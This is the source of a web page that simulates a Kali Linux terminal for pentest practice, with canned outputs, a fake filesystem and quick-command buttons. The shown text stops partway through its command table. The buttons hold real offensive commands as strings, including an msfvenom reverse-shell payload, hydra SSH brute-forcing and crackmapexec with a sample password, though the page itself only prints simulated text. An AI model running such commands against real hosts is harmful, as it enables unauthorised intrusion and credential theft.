Repository navigation
Expand file tree
/
Copy pathindex.html
More file actions
1172 lines (1112 loc) · 62.3 KB
/
Copy pathindex.html
File metadata and controls
1172 lines (1112 loc) · 62.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover, interactive-widget=resizes-content">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="apple-mobile-web-app-title" content="Kali Term">
<meta name="theme-color" content="#0d0d0d">
<title>Kali Terminal</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap');
* { margin:0; padding:0; box-sizing:border-box; -webkit-tap-highlight-color:transparent; }
:root {
--bg: #0d0d0d;
--term-bg: #0f0f0f;
--bar-bg: #161616;
--border: #222;
--kali-blue: #2fa8e8;
--white: #e2e2e2;
--green: #5af78e;
--red: #ff5c57;
--yellow: #f3f99d;
--cyan: #9aedfe;
--magenta: #ff6ac1;
--dim: #4a4a4a;
--key-bg: #1c1c1c;
--key-act: #2a2a2a;
--key-spec: #193a52;
--key-border:#2a2a2a;
}
html, body { height:100%; width:100%; overflow:hidden; background:var(--bg); font-family:'JetBrains Mono',monospace; color:var(--white); }
/* 100% of the visual viewport so the system keyboard shrinks the layout naturally */
#app { display:flex; flex-direction:column; height:100%; width:100%; }
/* TITLE BAR */
#titlebar {
flex-shrink:0; background:var(--bar-bg);
border-bottom:1px solid var(--border);
padding:10px 14px;
padding-top: max(10px, env(safe-area-inset-top));
display:flex; align-items:center; gap:10px; user-select:none;
}
.dots { display:flex; gap:6px; }
.dot { width:11px; height:11px; border-radius:50%; }
.dot.r{background:#ff5f57;}.dot.y{background:#febc2e;}.dot.g{background:#28c840;}
#tb-title { flex:1; text-align:center; font-size:11px; color:#555; letter-spacing:.5px; display:flex; align-items:center; justify-content:center; gap:6px; }
#tb-title svg{width:13px;height:13px;}
#tb-title span{color:var(--kali-blue);font-weight:700;letter-spacing:1px;}
#clear-btn { background:none; border:1px solid #2a2a2a; border-radius:5px; color:#555; font-size:10px; padding:4px 9px; cursor:pointer; font-family:inherit; transition:all .15s; }
#clear-btn:active{background:#222;color:#aaa;}
/* TERMINAL */
#terminal {
flex:1; overflow-y:auto; overflow-x:hidden;
padding:10px 10px 6px; line-height:1.7; font-size:12px;
cursor:text; -webkit-overflow-scrolling:touch; overscroll-behavior:contain;
}
#terminal::-webkit-scrollbar{display:none;}
.banner { color:var(--kali-blue); white-space:pre; font-size:5.5px; line-height:1.25; margin-bottom:8px; opacity:0; animation:fi .4s ease .1s forwards; }
.banner-sub { color:#333; font-size:10px; margin-bottom:14px; opacity:0; animation:fi .4s ease .4s forwards; }
.out-line { white-space:pre-wrap; word-break:break-all; margin-bottom:1px; animation:fi .12s ease forwards; }
.out-line.dim {color:var(--dim);}
.out-line.green {color:var(--green);}
.out-line.red {color:var(--red);}
.out-line.yellow {color:var(--yellow);}
.out-line.cyan {color:var(--cyan);}
.out-line.magenta{color:var(--magenta);}
.out-line.blue {color:var(--kali-blue);}
.p-row{display:flex;flex-wrap:wrap;align-items:baseline;margin-bottom:1px;animation:fi .12s ease forwards;}
.pu{color:var(--green);font-weight:700;} .pat{color:var(--white);}
.ph{color:var(--kali-blue);font-weight:700;} .ps{color:var(--dim);}
.pp{color:var(--cyan);} .psym{color:var(--green);margin:0 5px 0 3px;}
.spacer{height:5px;}
#input-wrap{display:flex;align-items:center;flex-wrap:wrap;padding-bottom:2px;}
#cmd-input{background:transparent;border:none;outline:none;color:var(--white);font-family:inherit;font-size:12px;flex:1;min-width:60px;caret-color:var(--green);line-height:1.7;}
/* SLIM TOOLBAR */
#kb-area {
flex-shrink:0; background:var(--bar-bg); border-top:1px solid var(--border);
padding:5px 6px; padding-bottom:max(5px, env(safe-area-inset-bottom));
display:flex; flex-direction:column; gap:4px; user-select:none;
}
/* quick-command scrollable pills */
#cmd-pills { display:flex; gap:4px; overflow-x:auto; padding-bottom:2px; scrollbar-width:none; }
#cmd-pills::-webkit-scrollbar{display:none;}
.pill {
flex-shrink:0; background:#193a52; border:1px solid #1a4a6a;
border-radius:6px; color:var(--cyan); font-family:inherit; font-size:10px;
padding:5px 11px; cursor:pointer; transition:background .1s; white-space:nowrap;
}
.pill:active{background:#1e5070;}
/* action row: history nav, tab, enter, ^C */
#action-row { display:flex; gap:4px; }
.act {
flex:1; background:#1c1c1c; border:1px solid #2a2a2a; border-bottom:2px solid #0a0a0a;
border-radius:6px; color:#aaa; font-family:inherit; font-size:11px; font-weight:700;
padding:8px 4px; cursor:pointer; text-align:center;
transition:background .08s, transform .08s;
-webkit-user-select:none;
}
.act:active{background:#2a2a2a; transform:scale(.96);}
.act-enter{background:#143a24; color:var(--green); border-color:#1a4a2e; flex:2.5;}
.act-enter:active{background:#1c4e30;}
.act-ctrl{background:#2a1414; color:var(--red); border-color:#3a1a1a;}
.act-ctrl:active{background:#3a1e1e;}
@keyframes fi{from{opacity:0;transform:translateY(2px);}to{opacity:1;transform:translateY(0);}}
/* desktop: hide toolbar, bigger font */
@media(min-width:768px){
#kb-area{display:none;}
#terminal{font-size:13px;}
.banner{font-size:7.5px;}
#cmd-input{font-size:13px;}
}
</style>
</head>
<body>
<div id="app">
<div id="titlebar">
<div class="dots"><div class="dot r"></div><div class="dot y"></div><div class="dot g"></div></div>
<div id="tb-title">
<svg viewBox="0 0 24 24" fill="none"><path d="M12 2L2 7l10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5" stroke="#2fa8e8" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>
<span>kali@kali — bash</span>
</div>
<button id="clear-btn" onclick="clearTerm()">CLR</button>
</div>
<div id="terminal" onclick="focusInput()">
<div class="banner" id="banner"></div>
<div class="banner-sub">Kali Linux 2024.3 — The Art of Exploitation</div>
<div id="output"></div>
<div id="input-wrap"></div>
</div>
<!-- Slim toolbar: pills + action buttons. System keyboard handles typing. -->
<div id="kb-area">
<div id="cmd-pills">
<button class="pill" onclick="pillCmd('help')">help</button>
<button class="pill" onclick="pillCmd('nmap -A 10.10.10.55')">nmap -A</button>
<button class="pill" onclick="pillCmd('nmap -sV 10.10.10.55')">nmap -sV</button>
<button class="pill" onclick="pillCmd('gobuster dir -u http://10.10.10.55 -w /usr/share/wordlists/dirb/common.txt')">gobuster</button>
<button class="pill" onclick="pillCmd('nikto -h 10.10.10.55')">nikto</button>
<button class="pill" onclick="pillCmd('dirb http://10.10.10.55')">dirb</button>
<button class="pill" onclick="pillCmd('wpscan --url http://10.10.10.55 --enumerate u,p')">wpscan</button>
<button class="pill" onclick="pillCmd('sqlmap -u "http://target/page?id=1" --dbs')">sqlmap</button>
<button class="pill" onclick="pillCmd('searchsploit apache 2.4')">searchsploit</button>
<button class="pill" onclick="pillCmd('msfconsole')">msfconsole</button>
<button class="pill" onclick="pillCmd('msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.42 LPORT=4444 -f exe -o shell.exe')">msfvenom</button>
<button class="pill" onclick="pillCmd('crackmapexec smb 192.168.1.0/24 -u admin -p password123 --shares')">cme</button>
<button class="pill" onclick="pillCmd('hydra -l admin -P wordlist.txt 192.168.1.50 ssh')">hydra</button>
<button class="pill" onclick="pillCmd('john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt')">john</button>
<button class="pill" onclick="pillCmd('hashcat -m 0 -a 0 hashes.txt rockyou.txt')">hashcat</button>
<button class="pill" onclick="pillCmd('aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap')">aircrack</button>
<button class="pill" onclick="pillCmd('airodump')">airodump</button>
<button class="pill" onclick="pillCmd('enum4linux 10.10.10.55')">enum4linux</button>
<button class="pill" onclick="pillCmd('linpeas')">linpeas</button>
<button class="pill" onclick="pillCmd('nc -l 4444')">nc -l</button>
<button class="pill" onclick="pillCmd('ifconfig')">ifconfig</button>
<button class="pill" onclick="pillCmd('whoami')">whoami</button>
<button class="pill" onclick="pillCmd('cat credentials.txt')">cat creds</button>
<button class="pill" onclick="pillCmd('ls')">ls</button>
<button class="pill" onclick="pillCmd('nano notes.md')">nano</button>
<button class="pill" onclick="pillCmd('vim pentest_notes.txt')">vim</button>
<button class="pill" onclick="pillCmd('mkdir loot')">mkdir</button>
</div>
<div id="action-row">
<button class="act" onclick="histUp()">▲</button>
<button class="act" onclick="histDown()">▼</button>
<button class="act" onclick="doTab()">TAB</button>
<button class="act act-enter" onclick="doEnter()">ENTER ↵</button>
<button class="act act-ctrl" onclick="doCtrlC()">^C</button>
</div>
</div>
</div>
<script>
/* ── BANNER ── */
const bannerTxt = ` ██╗ ██╗ █████╗ ██╗ ██╗ ██╗ ██╗███╗ ██╗██╗ ██╗██╗ ██╗
██║ ██╔╝██╔══██╗██║ ██║ ██║ ██║████╗ ██║██║ ██║╚██╗██╔╝
█████╔╝ ███████║██║ ██║ ██║ ██║██╔██╗ ██║██║ ██║ ╚███╔╝
██╔═██╗ ██╔══██║██║ ██║ ██║ ██║██║╚██╗██║██║ ██║ ██╔██╗
██║ ██╗██║ ██║███████╗██║ ███████╗██║██║ ╚████║╚██████╔╝██╔╝ ██╗
╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝`;
document.getElementById('banner').textContent = bannerTxt;
/* ── STATE ── */
let cwd = '~';
let cmdHist = [];
let histIdx = -1;
let virtBuf = '';
let msfActive = false;
let msfModule = null;
let msfOpts = { RHOSTS:'', LHOST:'192.168.1.42', LPORT:'4444', PAYLOAD:'' };
const termEl = document.getElementById('terminal');
const outputEl = document.getElementById('output');
const wrapEl = document.getElementById('input-wrap');
/* ── VIRTUAL INPUT ── */
function getInp() { return document.getElementById('cmd-input'); }
function focusInput() {
const inp = getInp();
if (!inp) return;
inp.focus();
// Force system keyboard on iOS/Android by briefly making it editable
inp.readOnly = false;
inp.focus();
inp.click();
setTimeout(() => {
inp.focus();
inp.setSelectionRange(inp.value.length, inp.value.length);
inp.scrollIntoView({ block: 'nearest', behavior: 'smooth' });
}, 50);
}
function clearTerm() { outputEl.innerHTML = ''; }
function scrollBottom(){ setTimeout(()=>{ termEl.scrollTop = termEl.scrollHeight; }, 60); }
function esc(s){ return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); }
function typeChar(ch){
virtBuf += ch;
const inp = getInp();
if(inp){ inp.value = virtBuf; inp.focus(); }
scrollBottom();
}
function doBackspace(){
virtBuf = virtBuf.slice(0,-1);
const inp = getInp();
if(inp){ inp.value = virtBuf; inp.focus(); }
}
function doEnter(){ const c = virtBuf.trim(); virtBuf = ''; commitCommand(c); }
function doCtrlC(){
appendPromptLine(virtBuf+'^C', msfActive);
virtBuf = ''; addSpacer();
msfActive ? addMsfInput() : addInput();
scrollBottom();
}
function insertCmd(cmd){
virtBuf = cmd;
const inp = getInp();
if(inp){ inp.value = virtBuf; inp.focus(); inp.setSelectionRange(inp.value.length, inp.value.length); }
scrollBottom();
}
// Pill tap: insert command text but keep system keyboard open
function pillCmd(cmd){
virtBuf = cmd;
const inp = getInp();
if(inp){ inp.value = virtBuf; inp.focus(); inp.setSelectionRange(inp.value.length, inp.value.length); }
scrollBottom();
}
function histUp(){
if(histIdx < cmdHist.length-1) histIdx++;
virtBuf = cmdHist[cmdHist.length-1-histIdx]||'';
const inp=getInp(); if(inp) inp.value=virtBuf;
}
function histDown(){
if(histIdx>0) histIdx--; else{ histIdx=-1; virtBuf=''; }
virtBuf = histIdx>=0?(cmdHist[cmdHist.length-1-histIdx]||''):'';
const inp=getInp(); if(inp) inp.value=virtBuf;
}
function doTab(){
const parts=virtBuf.split(' '), last=parts[parts.length-1];
const matches=(fs[cwd]||[]).filter(e=>e.startsWith(last));
if(matches.length===1){ parts[parts.length-1]=matches[0]; virtBuf=parts.join(' '); const inp=getInp(); if(inp) inp.value=virtBuf; }
else if(matches.length>1) appendLines(matches.map(m=>({t:m,c:'cyan'})));
}
/* ── DOM HELPERS ── */
function appendLines(lines){
lines.forEach(l=>{
if(l===null) return;
const d=document.createElement('div');
d.className='out-line '+(l.c||'');
d.textContent=l.t;
outputEl.appendChild(d);
});
scrollBottom();
}
function addSpacer(){ const d=document.createElement('div'); d.className='spacer'; outputEl.appendChild(d); }
function appendPromptLine(cmdText, isMsf){
const d=document.createElement('div'); d.className='p-row';
if(isMsf){
const mn=msfModule?msfModule.split('/').pop():'';
d.innerHTML=`<span style="color:#e55">${msfModule?'msf6 exploit':'msf6'}</span>`+
(msfModule?`<span style="color:#aaa">(</span><span style="color:var(--yellow)">${mn}</span><span style="color:#aaa">)</span>`:'')+
`<span style="color:var(--green)"> > </span><span style="color:var(--white)">${esc(cmdText)}</span>`;
} else {
d.innerHTML=`<span class="pu">┌──(kali</span><span class="pat">㉿</span><span class="ph">kali</span><span class="ps">)-[</span><span class="pp">${cwd}</span><span class="ps">]</span><br>`+
`<span class="pu">└─</span><span class="psym">#</span><span style="color:var(--white)">${esc(cmdText)}</span>`;
}
outputEl.appendChild(d);
}
function makeInput(){
const el = document.createElement('input');
el.id = 'cmd-input';
el.type = 'text';
el.setAttribute('autocomplete','off');
el.setAttribute('autocorrect','off');
el.setAttribute('autocapitalize','none');
el.setAttribute('spellcheck','false');
el.setAttribute('inputmode','text');
el.setAttribute('enterkeyhint','send');
el.style.cssText = 'background:transparent;border:none;outline:none;color:var(--white);font-family:inherit;font-size:12px;flex:1;min-width:80px;caret-color:var(--green);line-height:1.7;width:100%;';
el.value = virtBuf;
el.addEventListener('keydown', handleKey);
el.addEventListener('input', e=>{ virtBuf = e.target.value; });
return el;
}
function addInput(){
wrapEl.innerHTML = '';
const row1 = document.createElement('div');
row1.className = 'p-row'; row1.style.width='100%';
row1.innerHTML = `<span class="pu">┌──(kali</span><span class="pat">㉿</span><span class="ph">kali</span><span class="ps">)-[</span><span class="pp">${cwd}</span><span class="ps">]</span>`;
const row2 = document.createElement('div');
row2.style.cssText = 'display:flex;align-items:center;width:100%;';
row2.innerHTML = `<span class="pu">└─</span><span class="psym">#</span>`;
row2.appendChild(makeInput());
wrapEl.appendChild(row1);
wrapEl.appendChild(row2);
getInp().focus();
scrollBottom();
}
function addMsfInput(){
const mn = msfModule ? msfModule.split('/').pop() : '';
wrapEl.innerHTML = '';
const row = document.createElement('div');
row.style.cssText = 'display:flex;align-items:center;width:100%;flex-wrap:wrap;';
row.innerHTML =
`<span style="color:#e55">${msfModule?'msf6 exploit':'msf6'}</span>`+
(msfModule?`<span style="color:#aaa">(</span><span style="color:var(--yellow)">${mn}</span><span style="color:#aaa">)</span>`:'')+
`<span style="color:var(--green)"> > </span>`;
row.appendChild(makeInput());
wrapEl.appendChild(row);
getInp().focus();
scrollBottom();
}
function handleKey(e){
if(e.key==='Enter') { e.preventDefault(); doEnter(); }
else if(e.key==='ArrowUp') { e.preventDefault(); histUp(); }
else if(e.key==='ArrowDown') { e.preventDefault(); histDown(); }
else if(e.key==='Tab') { e.preventDefault(); doTab(); }
else if(e.ctrlKey&&e.key==='l'){ e.preventDefault(); clearTerm(); }
else if(e.ctrlKey&&e.key==='c'){ e.preventDefault(); doCtrlC(); }
else virtBuf=e.target.value;
}
/* ── FILESYSTEM ── */
const fs = {
'~':['Desktop','Documents','Downloads','Music','Pictures','Videos','tools','.bash_history','README.txt'],
'~/Desktop':['target.txt','notes.md'],
'~/Documents':['report.pdf','credentials.txt','pentest_notes.txt','rules_of_engagement.txt','network_diagram.txt'],
'~/Downloads':['nmap-7.94.tar.gz','exploit.py','wordlist.txt','hashes.txt','backup.zip'],
'~/tools':['metasploit','burpsuite','sqlmap','hydra','wordlists','scripts'],
'~/tools/metasploit':['msfconsole','msfvenom','modules'],
'~/tools/wordlists':['rockyou.txt','common.txt'],
'~/tools/scripts':['auto_recon.sh','privesc_check.py'],
};
const fileSizes = {
'report.pdf':'842K','credentials.txt':'118','pentest_notes.txt':'214','rules_of_engagement.txt':'356',
'network_diagram.txt':'289','nmap-7.94.tar.gz':'11M','exploit.py':'1.8K','wordlist.txt':'62',
'hashes.txt':'176','backup.zip':'4.2M','target.txt':'13','notes.md':'88','.bash_history':'412',
'README.txt':'301','rockyou.txt':'139M','common.txt':'982K','auto_recon.sh':'1.1K','privesc_check.py':'2.3K',
};
/* ── COMMANDS ── */
const cmds = {
help:()=>[
{t:'',c:''},{t:' ╔════════════════════════════════════════════╗',c:'cyan'},
{t:' ║ Kali Linux — Command Reference ║',c:'cyan'},
{t:' ╚════════════════════════════════════════════╝',c:'cyan'},{t:'',c:''},
{t:' ── System ──────────────────────────────────',c:'yellow'},
{t:' whoami id hostname uname -a date',c:''},
{t:' ifconfig netstat ps w uptime',c:''},
{t:' ls cd pwd cat echo clear history',c:''},
{t:' nano/vim <file> mkdir touch rm cp mv',c:''},
{t:' head tail less wc grep find chmod man',c:''},
{t:' df du free top which env kill su sudo',c:''},
{t:' ping curl wget ssh dig whois ip a',c:''},
{t:' base64 md5sum sha256sum file diff sort',c:''},{t:'',c:''},
{t:' ── Recon & Scanning ─────────────────────────',c:'yellow'},
{t:' nmap <target> [-sV] [-sC] [-A] [-O]',c:''},
{t:' nikto -h <target> [-p PORT]',c:''},
{t:' enum4linux <target>',c:''},
{t:' searchsploit <term>',c:''},{t:'',c:''},
{t:' ── Web Enumeration ──────────────────────────',c:'yellow'},
{t:' gobuster dir -u URL -w WORDLIST [-x ext]',c:''},
{t:' dirb URL [WORDLIST]',c:''},
{t:' wpscan --url URL [--enumerate u,p,t]',c:''},
{t:' sqlmap -u URL [--dbs][--tables][--dump]',c:''},{t:'',c:''},
{t:' ── Exploitation ─────────────────────────────',c:'yellow'},
{t:' msfconsole (use/set/show options/run/back)',c:''},
{t:' msfvenom -p PAYLOAD LHOST=IP LPORT=P -f FMT',c:''},
{t:' crackmapexec smb TARGET -u USER -p PASS',c:''},{t:'',c:''},
{t:' ── Password Attacks ─────────────────────────',c:'yellow'},
{t:' john <file> [--wordlist=FILE] [--format=X]',c:''},
{t:' hashcat -m MODE -a TYPE hashfile wordlist',c:''},
{t:' hydra -l USER -P LIST TARGET SERVICE',c:''},{t:'',c:''},
{t:' ── Wireless ─────────────────────────────────',c:'yellow'},
{t:' aircrack-ng -w WORDLIST -b BSSID cap.cap',c:''},
{t:' airodump (scan/capture APs & handshakes)',c:''},{t:'',c:''},
{t:' ── Post-Exploitation ────────────────────────',c:'yellow'},
{t:' linpeas (privesc enumeration)',c:''},
{t:' nc -l PORT / nc HOST PORT (netcat)',c:''},{t:'',c:''},
],
whoami:()=>[{t:'root',c:'green'}],
id: ()=>[{t:'uid=0(root) gid=0(root) groups=0(root)',c:''}],
hostname:()=>[{t:'kali',c:''}],
pwd: ()=>[{t:cwd.replace('~','/root'),c:''}],
date: ()=>[{t:new Date().toString(),c:''}],
uptime:()=>[{t:' '+new Date().toTimeString().slice(0,8)+' up 4:20, 1 user, load average: 0.42, 0.37, 0.28',c:''}],
uname: (a)=>[{t:a.includes('-a')||a.includes('-r')?'Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 x86_64 GNU/Linux':'Linux',c:''}],
ls:(a)=>{
const e=fs[cwd]||[]; if(!e.length) return [{t:'',c:''}];
const dirs=['Desktop','Documents','Downloads','Music','Pictures','Videos','tools','metasploit','burpsuite','sqlmap','hydra','modules'];
return e.map(x=>({t:dirs.includes(x)?x+'/':x, c:dirs.includes(x)?'cyan':x.endsWith('.py')||x.endsWith('.sh')?'green':''}));
},
cd:(a)=>{
const t=a[0];
if(!t||t==='~'){cwd='~';return [];}
if(t==='..'){const p=cwd.split('/');p.pop();cwd=p.join('/')||'~';return [];}
const np=cwd==='~'?`~/${t}`:`${cwd}/${t}`;
if(fs[np]){cwd=np;return [];}
return [{t:`bash: cd: ${t}: No such file or directory`,c:'red'}];
},
cat:(a)=>{
if(!a[0]) return [{t:'Usage: cat <file>',c:'red'}];
const files={
'credentials.txt':[{t:'# Captured credentials',c:'yellow'},{t:'admin:password123',c:''},{t:'root:toor',c:''},{t:'user:letmein',c:''}],
'pentest_notes.txt':[{t:'=== Pentest Notes ===',c:'cyan'},{t:'Target: 192.168.1.0/24',c:''},{t:'Phase: Reconnaissance',c:''},{t:'Status: In Progress',c:'yellow'}],
'notes.md':[{t:'# Notes',c:'cyan'},{t:'- Run nmap on target subnet',c:''},{t:'- Check for open SMB ports',c:''}],
'target.txt':[{t:'10.10.10.55',c:''}],
'wordlist.txt':[{t:'admin',c:''},{t:'password',c:''},{t:'root',c:''},{t:'123456',c:''},{t:'toor',c:''}],
'rules_of_engagement.txt':[{t:'=== Rules of Engagement ===',c:'cyan'},{t:'Client: Acme Corp',c:''},{t:'Scope: 192.168.1.0/24, *.acme-internal.test',c:''},{t:'Excluded: 192.168.1.1 (prod gateway)',c:'red'},{t:'Window: Mon-Fri 09:00-18:00',c:''},{t:'Authorized by: J. Reyes, CISO',c:''}],
'network_diagram.txt':[{t:'[Internet] --- [FW 192.168.1.1] --- [Switch]',c:''},{t:' |-- 192.168.1.42 (Kali)',c:'green'},{t:' |-- 192.168.1.55 (Web/SMB target)',c:''},{t:' |-- 192.168.1.60 (DC01)',c:''}],
'hashes.txt':[{t:'admin:5f4dcc3b5aa765d61d8327deb882cf99',c:''},{t:'root:e10adc3949ba59abbe56e057f20f883e',c:''},{t:'user:25f9e794323b453885f5181f1b624d0b',c:''}],
'.bash_history':[{t:'nmap -sV 192.168.1.55',c:'dim'},{t:'gobuster dir -u http://192.168.1.55 -w /usr/share/wordlists/dirb/common.txt',c:'dim'},{t:'msfconsole',c:'dim'},{t:'cat credentials.txt',c:'dim'}],
'README.txt':[{t:'Kali Sim Pro — practice environment',c:'cyan'},{t:'All targets, creds and output on this box are simulated.',c:''},{t:'Use `help` to list commands.',c:''}],
'exploit.py':[{t:'#!/usr/bin/env python3',c:'dim'},{t:'# PoC — simulated, does not touch the network',c:'dim'},{t:'import socket',c:''},{t:'target = "192.168.1.55"',c:''},{t:'print(f"[*] would connect to {target}:445")',c:''}],
'auto_recon.sh':[{t:'#!/bin/bash',c:'dim'},{t:'nmap -sV -oA recon $1',c:''},{t:'gobuster dir -u http://$1 -w common.txt',c:''}],
'privesc_check.py':[{t:'#!/usr/bin/env python3',c:'dim'},{t:'# checks for common misconfigs (simulated)',c:'dim'},{t:'print("[*] checking sudo -l, SUID binaries, cron jobs...")',c:''}],
'rockyou.txt':[{t:'123456',c:''},{t:'password',c:''},{t:'12345678',c:''},{t:'qwerty',c:''},{t:'letmein',c:''},{t:'(14,344,391 lines total)',c:'dim'}],
'common.txt':[{t:'admin',c:''},{t:'login',c:''},{t:'wp-admin',c:''},{t:'backup',c:''},{t:'uploads',c:''},{t:'(4,614 lines total)',c:'dim'}],
};
if(files[a[0]]) return files[a[0]];
if((fs[cwd]||[]).includes(a[0])) return [{t:'(binary or empty file)',c:'dim'}];
return [{t:`cat: ${a[0]}: No such file or directory`,c:'red'}];
},
echo:(a)=>[{t:a.join(' '),c:''}],
clear:()=>{outputEl.innerHTML='';return[];},
nano:(a)=>cmds._editor('GNU nano 7.2',a,' [ Read 999 lines ]',' ^G Help ^O Write Out ^W Where Is ^X Exit '),
vim:(a)=>cmds._editor('vim — VISUAL',a,'-- SIMULATED VIEW --',' :w write :q quit /pattern search '),
vi:(a)=>cmds.vim(a),
_editor:(label,a,tag,footer)=>{
if(!a[0]) return [{t:`Usage: ${label.split(' ')[0]} <file>`,c:'red'}];
const body = cmds.cat(a);
const top = {t:` ${label} ${a[0]}${tag.includes('Read')?tag:''}`,c:'blue'};
const bottom = [{t:'',c:''},{t:tag.includes('Read')?'':tag,c:'dim'},{t:footer,c:'yellow'}];
return [top,...body,...bottom.filter(l=>l.t)];
},
mkdir:(a)=>{ if(!a[0]) return [{t:'mkdir: missing operand',c:'red'}]; (fs[cwd]=fs[cwd]||[]).push(a[0]); return []; },
touch:(a)=>{ if(!a[0]) return [{t:'touch: missing operand',c:'red'}]; (fs[cwd]=fs[cwd]||[]).push(a[0]); return []; },
rm:(a)=>{ if(!a[0]) return [{t:'rm: missing operand',c:'red'}]; fs[cwd]=(fs[cwd]||[]).filter(x=>x!==a[0]); return []; },
cp:(a)=>a.length<2?[{t:'cp: missing file operand',c:'red'}]:[],
mv:(a)=>a.length<2?[{t:'mv: missing file operand',c:'red'}]:[],
head:(a)=>cmds.cat(a).slice(0,10),
tail:(a)=>cmds.cat(a).slice(-10),
less:(a)=>cmds.cat(a),
more:(a)=>cmds.cat(a),
wc:(a)=>{ const f=a.filter(x=>!x.startsWith('-'))[0]; const n=f?(fileSizes[f]?Math.ceil(parseInt(fileSizes[f])/8):1):0; return [{t:` ${n} ${n*3} ${fileSizes[f]||0} ${f||''}`,c:''}]; },
grep:(a)=>{ if(a.length<2) return [{t:'Usage: grep PATTERN FILE',c:'red'}]; const pat=a[0]; return cmds.cat([a[1]]).filter(l=>l.t.toLowerCase().includes(pat.toLowerCase())); },
find:(a)=>{ const all=Object.entries(fs).flatMap(([d,es])=>es.map(e=>`${d}/${e}`)); return all.slice(0,15).map(t=>({t,c:''})); },
chmod:(a)=>[],
man:(a)=>a[0]?[{t:`${a[0].toUpperCase()}(1)`,c:'cyan'},{t:` ${a[0]} — simulated manual page`,c:''},{t:' See `help` for the command reference.',c:'dim'}]:[{t:'What manual page do you want?',c:'red'}],
df:()=>[{t:'Filesystem 1K-blocks Used Available Use% Mounted on',c:'cyan'},{t:'/dev/sda1 61876224 18234112 40532112 32% /',c:''}],
